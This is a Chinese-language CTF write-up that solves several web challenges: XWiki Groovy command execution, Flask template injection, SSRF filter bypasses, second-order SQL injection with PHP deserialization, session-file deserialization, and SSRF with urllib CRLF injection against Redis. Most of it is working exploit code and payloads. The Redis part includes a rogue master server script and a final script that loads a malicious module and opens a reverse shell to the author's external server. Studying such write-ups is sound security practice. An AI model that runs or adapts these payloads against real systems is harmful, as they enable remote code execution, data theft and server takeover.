题目很有意思,给星盟师傅跪了
XWiki
XWiki CVE & groovy 交互
XWiki 11.10.1,搜索当前CVE,找到任意命令执行漏洞
https://jira.xwiki.org/browse/XWIKI-16960
python被底层限制,但是groovy可以打
r = Runtime.getRuntime() proc = r.exec('/readflag' ); BufferedReader stdInput1 = new BufferedReader (new InputStreamReader (proc.getInputStream()));String s1 = null ;while ((s1 = stdInput1.readLine()) != null ) { print s1; }
一开读flag的时候就会卡死,后来一句句读了发现需要交互回答问题,没给问题个数,回答哪个数最大,0或者1,一开始我以为回答完就会给flag,结果手打了几十个 : )发现还没到尽头,而且回答的顺序是固定,那估计就是flag的bin值,写个脚本然后手动二分到464位结束,最后是Congratulations,然后把回答的01连起来就是flag
proc = Runtime.getRuntime().exec('/readflag' ); BufferedReader br = new BufferedReader (new InputStreamReader (proc.getInputStream()));BufferedWriter bw = new BufferedWriter (new OutputStreamWriter (proc.getOutputStream()));String flag = '' String s1 = null ;for (int i in 1. .2 ) { s1 = br.readLine(); println s1; } for (int i in 1. .464 ) { s1 = br.readLine(); res = s1[25. .-1 ].split(' : ' ); a = Integer.parseInt(res[0 ]); b = Integer.parseInt(res[1 ]); c = (a > b) ? 0 : 1 ; flag += c bw.write(c+"\n" ); bw.flush(); } s1 = br.readLine(); println s1 println flag
simpleflask
SSTI
过滤单引号、空格、加号、flag、eval、import,限制了文件名长度
这里直接贴payload
name={{{}.__class__.__bases__[0 ].__subclasses__()[127 ].__init__.__globals__["__builtins__" ]["open" ]("/FLAG" .swapcase()).read()}}
EZFLASK
SSTI & SSRF
提出给出源码,有用的只有eval
from flask import Flask, requestimport requestsfrom waf import *import timeapp = Flask(__name__) @app.route('/ctfhint' ) def ctf (): hint =xxxx trick = xxxx return trick @app.route('/' ) def index (): @app.route('/eval' , methods=["POST" ] ) def my_eval (): @app.route(xxxxxx, methods=["POST" ] ) def admin (): if __name__ == '__main__' : app.run(host='0.0.0.0' ,port=8080 )
ban了很多单双引号和小中大括号,以及多个关键字,但是留下了__globals__
和func_globals
,利用它爆出admin路径
POST /eval eval =ctf.__globals__{'my_eval' : <function my_eval at 0x7f7469bf0dd0 >, 'app' : <Flask 'app_1' >, 'waf_eval' : <function waf_eval at 0x7f7469bf0c50 >, 'admin' : <function admin at 0x7f7469b3a650 >, 'index' : <function index at 0x7f7469bf0d50 >, 'waf_ip' : <function waf_ip at 0x7f7469bf0b50 >, '__builtins__' : <module '__builtin__' (built-in )>, 'admin_route' : '/h4rdt0f1nd_9792uagcaca00qjaf' , '__file__' : 'app_1.py' , 'request' : <Request 'http://124.70.206.91:10001/eval' [POST]>, '__package__' : None , 'Flask' : <class 'flask.app.Flask' >, 'ctf' : <function ctf at 0x7f7469bf0cd0 >, 'waf_path' : <function waf_path at 0x7f7469bf0bd0 >, 'time' : <module 'time' from '/usr/local/lib/python2.7/lib-dynload/time.so' >, '__name__' : '__main__' , 'requests' : <module 'requests' from '/usr/local/lib/python2.7/site-packages/requests/__init__.pyc' >, '__doc__' : None }
admin是一个http请求,一看就是ssrf,fuzz了一下发现
waf_ip满足点分十进制(准确来讲是点分数字)ban: xxx.0.0.xxx、192.xxx.xxx.xx
port是4位任意字符
path是非数字字符
这里卡了很久,队友@小喇叭发现127开头的地址就可以绕过内网地址,这就有意思了 : )
扫到5000端口有东西,是常见的列出全局变量的SSTI
POST /h4rdt0f1nd_9792uagcaca00qjaf ip=127.1 .1 .1 &port=5000 &path= import flaskfrom xxxx import flagapp = flask.Flask(__name__) app.config['FLAG' ] = flag @app.route('/' ) def index (): return open ('app.txt' ).read() @app.route('/<path:hack>' ) def hack (hack ): return flask.render_template_string(hack) if __name__ == '__main__' : app.run(host='0.0.0.0' ,port=5000 )
长度限制又过滤了config
,这里可以直接把['co'+'nfig']
写成['co''nfig']
POST /h4rdt0f1nd_9792uagcaca00qjaf ip=127.1 .1 .1 &port=5000 &path=%7B%7Burl_for.__globals__['current_app' ]['co' 'nfig' ]%7D%7D
carefuleyes
二次注入 & 反序列化
题目给了源码,直接给了一个反序列化的接口
主要代码有
<?php require_once "common.php" ;if (isset ($req ['oldname' ]) && isset ($req ['newname' ])) { $result = $db ->query ("select * from `file` where `filename`='{$req['oldname']} '" ); if ($result ->num_rows > 0 ) { $result = $result ->fetch_assoc (); $info = $db ->query ("select * from `file` where `filename`='{$result['filename']} '" ); $info = $info ->fetch_assoc (); echo "oldfilename : " .$info ['filename' ]." will be changed." ; } else { exit ("old file doesn't exists!" ); } } ...
这个存在二次注入,通过union注入可以得到username和password
1 ' and 0 union select username,password,1,1,1 from user#.jpg
这里是反序列化的类,拿到admin就能拿到flag
class XCTFGG { private $method ; private $args ; public function __construct ($method , $args ) { $this ->method = $method ; $this ->args = $args ; } function login ( ) { list ($username , $password ) = func_get_args (); $username = strtolower (trim (mysql_escape_string ($username ))); $password = strtolower (trim (mysql_escape_string ($password ))); $sql = sprintf ("SELECT * FROM user WHERE username='%s' AND password='%s'" , $username , $password ); global $db ; $obj = $db ->query ($sql ); $obj = $obj ->fetch_assoc (); global $FLAG ; if ( $obj != false && $obj ['privilege' ] == 'admin' ) { die ($FLAG ); } else { die ("Admin only!" ); } } function __destruct ( ) { @call_user_func_array (array ($this , $this ->method), $this ->args); } }
最终exp如下
POST /upload.php?data=O%3A6%3A%22XCTFGG%22%3A2%3A%7Bs%3A14%3A%22%00XCTFGG%00method%22%3Bs%3A5%3A%22login%22%3Bs%3A12%3A%22%00XCTFGG%00args%22%3Ba%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A2%3A%22XM%22%3Bs%3A8%3A%22password%22%3Bs%3A9%3A%22qweqweqwe%22%3B%7D%7D HTTP/1.1 Host : 124.71.191.175Content-Length : 343Content-Type : multipart/form-data; boundary=----WebKitFormBoundaryVQBCUL5NvVhHTcjTContent-Disposition: form-data; name ="upfile"; filename="1' and 0 union select username,password,1,1,1 from user#.jpg" Content-Type : text /html xxx
babyshop
反混淆 & 任意文件读写 & sess 反序列化
.git源码泄露 但是被混淆了,代码不是很长,用xdebug慢慢调出来,这里贴一份@cjm00n人工解混淆的主要代码
<?php class 造齿轮 { protected $storage ; protected $贡品; protected $sessionId ; protected $safeExt ; public function __construct ( ) { $this ->storage = "storage" ; if (!is_dir ($this ->storage)) mkdir ($this ->storage); $this ->safeExt = array ("php" , "html" , "flag" , "htaccess" ); } public function open ($货物, $食物 ) { foreach ($this ->safeExt as $item ) { if (stripos ($_COOKIE [$食物], $item ) !== false ) { die ('invaild ' . $食物); return false ; } } $this ->sessionId = session_id (); return true ; } public function write ($货物, $食物 ) { $this ->贡品 = $货物; return file_put_contents ($this ->storage . '/sess_' . $货物, $食物) === false ? false : true ; } public function read ($货物 ) { $this ->贡品 = $货物; return (string )@file_get_contents ($this ->storage . "/sess_" . $货物); } public function writeNote ($content ) { if (strlen ($this ->sessionId) <= 0 ) return ; echo getcwd (); return file_put_contents ($this ->storage . '/note_' . $this ->sessionId, $content ) === false ? false : true ; } public function getNote ( ) { return (string )@file_get_contents ($this ->storage . '/note_' . $this ->贡品); } public function 思考($货物 ) { $this ->贡品 = $货物; if (file_exists ($this ->storage . '/sess_' . $货物)) { unlink ($this ->storage . '/sess_' . $货物); } return true ; } public function destroy ($货物 ) { foreach (glob ($this ->storage . '/*' ) as $元素) { if (filemtime ($元素) + $货物 < time () && file_exists ($元素)) { unlink ($元素); } } return true ; } public function close ( ) { return true ; } public function __destruct ( ) { $this ->writeNote ($this ->getNote ()); } } chdir ("D:\\CTF\\gactf2020\\babyshopsrc" );$齿轮 = new 造齿轮(); session_set_save_handler (array ($齿轮, 'open' ), array ($齿轮, 'close' ), array ($齿轮, 'read' ), array ($齿轮, 'write' ), array ($齿轮, 'destroy' ), array ($齿轮, 'close' ));session_start ();srand (mktime (0 , 0 , 0 , 0 , 0 , 0 ));$盛世 = array (1186989435 => array ("alice" , 0b1 ), 1847880546 => array ("bob" , 0b101 ), 444424444 => array ("cat" , 0b10100 ), 324870919 => array ("dog" , 0b1111 ), 94267937 => array ("evil" , 0b101 ), 1889069619 => array ("flag" , 0b10011100001111 )); function 取经( ) { global $盛世; $宝藏 = '[' ; foreach ($_SESSION ['items' ] as $元素) $宝藏 .= $盛世[$元素][0 ] . ', ' ; $宝藏 .= ']' ; return $宝藏; } function 念经( ) { global $齿轮; return $齿轮->getNote (); } function 造世( ) { global $盛世; $宝藏 = '' ; foreach ($盛世 as $按键 => $元素) $宝藏 .= '<div class="item"><form method="POST"><div class="form-group">' . $元素[0 ] . '</div><div class="form-group"><input type="hidden" name="id" value="' . $按键 . '"><button type="submit" class="btn btn-success">buy ($' . $元素[1 ] . ')</button></div></form></div>' ; return $宝藏; } if (!isset ($_SESSION ['balance' ])) $_SESSION ['balance' ] = 4466 ;if (!isset ($_SESSION ['items' ])) $_SESSION ['items' ] = [];if (!isset ($_SESSION ['note' ])) $_SESSION ['note' ] = '' ;if (isset ($_POST ['id' ])) { if ($_SESSION ['balance' ] >= $盛世[$_POST ['id' ]][1 ]) { $_SESSION ['balance' ] = $_SESSION ['balance' ] - $盛世[$_POST ['id' ]][1 ]; array_push (${'_SESSION' }['items' ], $_POST ['id' ]); echo ('<span style="color:green">buy succ!</span>' ); } else { echo ('<span style="color:red">lack of balance!</span>' ); } } if (isset ($_POST ['note' ])) { if (strlen ($_POST ['note' ]) <= 1024 ) { $齿轮->writeNote (str_replace (array ('&' , '<' , '>' ), array ('&' , '<' , '>' ), $_POST ['note' ])); echo ('<span style="color:green">write succ!</span>' ); } else { echo ('<span style="color:red">note too long!</span>' ); } } ?>
简单来说就是用户会先生成一个sess文件,买东西的时候会更新,笔记部分会生一个另外的note文件,作简单的标签过滤,因为这里的文件名都是拼接出来的,所以导致了我们任意读写文件和触发session发序列化,不过限制不能含有php
、html
、flag
、htaccess
,这里主要是通过覆写sess文件来进行session反序列化
这里给出一个买flag的过程,也就是我们覆写sess文件的过程
买flag流程:
先注册个id:45fe489991ade97ddb812783a7d438f7
写note:balance|i:9999;items|a:1:{i:0;s:10:”1186989435”;}note|s:0:””;
修改id:/../note_45fe489991ade97ddb812783a7d438f7
就可以买flag了
然后可以看到在造齿轮 类的__destruct
可以任意读写文件
贴上我们的payload
<?php ini_set ('session.serialize_handler' , 'php' );session_start ();class 造齿轮 { protected $朝拜圣地 = "storage" ; protected $贡品 = "1/../../../../../flag" ; protected $圣殿 = "1/../tyao" ; protected $禁地; } $o = new 造齿轮();$_SESSION ['balance' ] = 9999 ;$_SESSION ['items' ] = [];array_push ($_SESSION ['items' ], $o );
然后去把自己sess文件拿出来,重复上述买flag的部分,访问storage/tyao
即可看到flag
balance%7 Ci%3 A9999%3 Bitems%7 Ca%3 A1%3 A%7 Bi%3 A0%3 BO%3 A9%3 A%22 %E9%80 %A0%E9%BD%BF%E8%BD%AE%22 %3 A4%3 A%7 Bs%3 A15%3 A%22 %00 %2 A%00 %E6%9 C%9 D%E6%8 B%9 C%E5%9 C%A3%E5%9 C%B0%22 %3 Bs%3 A7%3 A%22 storage%22 %3 Bs%3 A9%3 A%22 %00 %2 A%00 %E8%B4%A1%E5%93 %81 %22 %3 Bs%3 A21%3 A%221 /../../../../../flag%22 %3 Bs%3 A9%3 A%22 %00 %2 A%00 %E5%9 C%A3%E6%AE%BF%22 %3 Bs%3 A9%3 A%221 /../tyao%22 %3 Bs%3 A9%3 A%22 %00 %2 A%00 %E7%A6%81 %E5%9 C%B0%22 %3 BN%3 B%7 D%7 D
sssrfme
SSRF + Python CRLF
题目源码
<?php function safe_url ($url ,$safe ) { $parsed = parse_url ($url ); $validate_ip = true ; if ($parsed ['port' ] && !in_array ($parsed ['port' ],array ('80' ,'443' ))){ echo "<b>请求错误:非正常端口,因安全问题只允许抓取80,443端口的链接,如有特殊需求请自行修改程序</b>" .PHP_EOL; return false ; }else { preg_match ('/^\d+$/' , $parsed ['host' ]) && $parsed ['host' ] = long2ip ($parsed ['host' ]); $long = ip2long ($parsed ['host' ]); if ($long ===false ){ $ip = null ; if ($safe ){ @putenv ('RES_OPTIONS=retrans:1 retry:1 timeout:1 attempts:1' ); $ip = gethostbyname ($parsed ['host' ]); $long = ip2long ($ip ); $long ===false && $ip = null ; @putenv ('RES_OPTIONS' ); } }else { $ip = $parsed ['host' ]; } $ip && $validate_ip = filter_var ($ip , FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE); } if (!in_array ($parsed ['scheme' ],array ('http' ,'https' )) || !$validate_ip ){ echo "<b>{$url} 请求错误:非正常URL格式,因安全问题只允许抓取 http:// 或 https:// 开头的链接或公有IP地址</b>" .PHP_EOL; return false ; }else { return $url ; } } function curl ($url ) { $safe = false ; if (safe_url ($url ,$safe )) { $ch = curl_init (); curl_setopt ($ch , CURLOPT_URL, $url ); curl_setopt ($ch , CURLOPT_RETURNTRANSFER, 1 ); curl_setopt ($ch , CURLOPT_HEADER, 0 ); curl_setopt ($ch , CURLOPT_SSL_VERIFYPEER, false ); curl_setopt ($ch , CURLOPT_SSL_VERIFYHOST, false ); $co = curl_exec ($ch ); curl_close ($ch ); echo $co ; } } highlight_file (__FILE__ );curl ($_GET ['url' ]);
用到的是php中parse_url和cURL的差异性,然后想办法通过CRLF打Redis
去bugs.php.net搜只搜到这篇与它相关
https://bugs.php.net/bug.php?id=77991
内网地址可以这么绕过
?url=http://foo@127.0.0.1:6379%20@www.baidu.com/
下一步应该就是用https协议的CRLF打Redis,但是打不出来
赛后更新
原来5000端口有东西,是个套娃提 : >
hello,world hint: 这是个套娃. http://localhost:5000/?url=https://baidu.com
访问一下可以直接到baidu.com
?url=http://foo@127.0.0.1:5000%20@www.baidu.com/%3Furl=https://baidu.com
5000端口猜测是Flask服务,从消息头可以看出用的是Python-urllib/3.7,这个库爆出过CRLF,刚好可以用来打Redis
这里有个trick就是,怎么判断Redis命令是否执行成功,这里用到了SLAVEOF命令,可以向外网发送PING数据
认证直接使用AUTH pwd接口,经过爆破可以知道弱口令123456
import urllib.parseimport requests as rqtarget= "http://45.77.217.198:10801" payload = ''' HTTP/1.1 auth 123456 slaveof %s 9999 foo: ''' % "xxx.xxx.xxx.xxx" payload = urllib.parse.quote(payload).replace("%0A" , "%0D%0A" ) payload = "?url=http://127.0.0.1:6379/" + payload payload = urllib.parse.quote(payload) payload = "?url=http://foo@127.0.0.1:5000%20@www.baidu.com/" + payload print (payload)res = rq.get(target + payload) print (res.text)
然后最后getshell是用到一个主从复制,参考以下链接
https://github.com/vulhub/redis-rogue-getshell
编译exp
创建rogue.py如下,服务器运行监听
import osimport sysimport argparseimport socketserverimport loggingimport socketimport timelogging.basicConfig(stream=sys.stdout, level=logging.INFO, format ='>> %(message)s' ) DELIMITER = b"\r\n" class RoguoHandler (socketserver.BaseRequestHandler): def decode (self, data ): if data.startswith(b'*' ): return data.strip().split(DELIMITER)[2 ::2 ] if data.startswith(b'$' ): return data.split(DELIMITER, 2 )[1 ] return data.strip().split() def handle (self ): while True : data = self.request.recv(1024 ) logging.info("receive data: %r" , data) arr = self.decode(data) if arr[0 ].startswith(b'PING' ): self.request.sendall(b'+PONG' + DELIMITER) elif arr[0 ].startswith(b'REPLCONF' ): self.request.sendall(b'+OK' + DELIMITER) elif arr[0 ].startswith(b'PSYNC' ) or arr[0 ].startswith(b'SYNC' ): self.request.sendall(b'+FULLRESYNC ' + b'Z' * 40 + b' 1' + DELIMITER) self.request.sendall(b'$' + str (len (self.server.payload)).encode() + DELIMITER) self.request.sendall(self.server.payload + DELIMITER) break self.finish() def finish (self ): self.request.close() class RoguoServer (socketserver.TCPServer): allow_reuse_address = True def __init__ (self, server_address, payload ): super (RoguoServer, self).__init__(server_address, RoguoHandler, True ) self.payload = payload with open ("exp.so" , 'rb' ) as f: server = RoguoServer(('0.0.0.0' , 1088 ), f.read()) server.handle_request()
但是在Redis中,为了防止http协议对Redis端口的攻击,它如果检测到”POST”或者”Host:”,就会中断这次连接,并且在日志中留下这行,我们可以通过添加%00
绕过
但是Redis是一边判断一边逐行执行,所以只要在读到”Host:”之前把需要的操作做完即可,所以不加也没关系(
所以最终exp为
import urllib.parseimport requests as rqtarget = "http://45.77.217.198:10802" vps = "167.179.94.19" payload1 = f''' HTTP/1.1 AUTH 123456 slaveof {vps} 1089 config set dbfilename exp.so foo: ''' payload2 = f''' HTTP/1.1 AUTH 123456 module load ./exp.so slaveof no one config set dbfilename dump.rdb system.rev {vps} 4444 foo: ''' def exp (payload ): payload = urllib.parse.quote(payload).replace("%0A" , "%0D%0A" ) payload = "?url=http://127.0.0.1:6379/" + payload payload = urllib.parse.quote(payload) payload = "?url=http://foo@127.0.0.1:5000%20@www.baidu.com/" + payload print (payload) res = rq.get(target + payload) print (res.text) exp(payload1) exp(payload2)